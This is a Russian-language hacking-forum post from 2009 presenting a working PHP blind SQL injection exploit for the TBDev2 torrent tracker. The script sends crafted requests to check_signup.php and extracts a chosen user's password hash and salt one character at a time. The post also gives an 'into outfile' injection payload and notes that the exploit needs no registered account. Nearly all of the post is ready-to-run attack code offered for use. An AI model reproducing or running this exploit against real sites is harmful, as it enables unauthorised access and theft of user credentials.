|
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме: 95382
Репутация:
29
|
|
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar.
PHP код:
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114
set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);
function send_xpl($url, $xpl){
global $id;
$u=parse_url($url);
$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;
}
function isVulnerable($url) {
if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
return true;
else
return false;
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
$url=$argv[1];
$id=$argv[2];
echo $url.":".$id."\r\n";
if(!isVulnerable($url))
die("Exploit failed: Target is not vulnerable");
echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
?>
Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя.
P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.
Последний раз редактировалось Rostov114; 26.04.2009 в 13:33..
|